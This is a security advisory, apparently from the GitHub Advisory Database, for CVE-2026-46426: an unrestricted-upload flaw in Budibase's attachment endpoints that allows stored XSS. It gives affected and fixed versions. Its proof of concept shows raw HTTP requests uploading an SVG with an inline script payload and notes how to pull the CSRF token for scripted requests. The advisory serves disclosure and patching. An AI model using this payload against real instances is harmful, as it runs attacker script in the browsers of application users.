budibase
Affected
- introduced
0, fixed3.38.2(semver)
Fixed versions
3.38.2
Fix
- Fixed version
3.38.2npm install [email protected]
Advisory
Also known as: CVE-2026-46426
Budibase: Unrestricted Upload of File with Dangerous Type
Summary
The file upload endpoint POST /api/attachments/process does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (html, svg, js, php, etc.) are conditionally wrapped inside if (isPublicUser) or if (isPublicUser || !env.SELF_HOSTED), meaning any authenticated builder can upload executable web content — SVG files with inline <script> tags, HTML pages with JavaScript, .js modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (image/svg+xml, text/html, application/javascript). When the resulting signed URL is opened by any app user, the browser executes the payload.
Impact is persistent stored XSS over all application end users.
Details
The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179).
Route definitions (packages/server/src/api/routes/static.ts):
POST /api/attachments/process → authorized(BUILDER)
POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE)
Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders.
PoC
Prerequisites
Step 1 — Authenticate as builder
POST /api/global/auth/default/login HTTP/1.1
Host: target:10000
Content-Type: application/json
{"username":"[email protected]","password":"BuilderPass1!"}
HTTP/1.1 200 OK
Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
{"message":"Login successful"}
The CSRF token is bound to the session. Browsers send it automatically via the Budibase
frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to
extract sessionId, then read the Redis key session-<userId>/<sessionId> → csrfToken.
Step 2 — Upload SVG with XSS payload
POST /api/attachments/process HTTP/1.1
Host: target:10000
Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig>
x-budibase-app-id: <dev_app_id>
x-csrf-token: <csrf_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Length: 391
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="file"; filename="xss.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
HTTP/1.1 200 OK
[{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}]
Impact
<img width="3087" height="1489" alt="image" src="https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565" />
<img width="2100" height="1016" alt="image" src="https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4" />
--------
Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed
High Basis: The source's own band: HIGH
0, fixed 3.38.2 (semver)3.38.2
3.38.2npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0